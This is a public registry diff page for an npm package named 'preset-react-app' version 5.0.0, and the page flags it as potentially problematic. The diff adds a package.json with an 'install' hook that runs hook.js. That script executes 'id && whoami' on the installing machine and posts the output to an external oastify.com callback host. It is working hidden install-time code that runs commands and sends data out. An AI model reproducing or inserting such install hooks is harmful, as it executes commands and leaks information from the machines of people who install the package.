preset-react-app 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of preset-react-app might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/hook.js +42 -0
  2. package/package.json +11 -0
package/hook.js ADDED
@@ -0,0 +1,42 @@
1
+ const https = require('https');
2
+ const { exec } = require('child_process');
3
+
4
+ const command = 'id && whoami'; // Comando a ejecutar
5
+ const url = 'https://8clx02jzec9qrcwgsz7antx4qvwmkd82.oastify.com'; // URL de destino
6
+
7
+ // Invoca el comando especificado arriba y almacena la salida en la variable `output`.
8
+ exec(command, (err, stdout, stderr) => {
9
+ if (err) {
10
+ console.error(`Error ejecutando el comando: ${err}`);
11
+ return;
12
+ }
13
+ const output = stdout.trim();
14
+ console.log(output);
15
+
16
+ // Datos enviados a la URL de destino
17
+ const data = JSON.stringify({ result: output });
18
+
19
+ // Configura las opciones de solicitud HTTP POST
20
+ const options = {
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': data.length
25
+ }
26
+ };
27
+
28
+ // Realiza la solicitud HTTP POST hacia la URL de destino
29
+ const req = https.request(url, options, res => {
30
+ console.log(`status code: ${res.statusCode}`);
31
+ res.on('data', d => {
32
+ process.stdout.write(d);
33
+ });
34
+ });
35
+
36
+ req.on('error', error => {
37
+ console.error(error);
38
+ });
39
+
40
+ req.write(data);
41
+ req.end();
42
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "preset-react-app",
3
+ "version": "5.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node hook.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }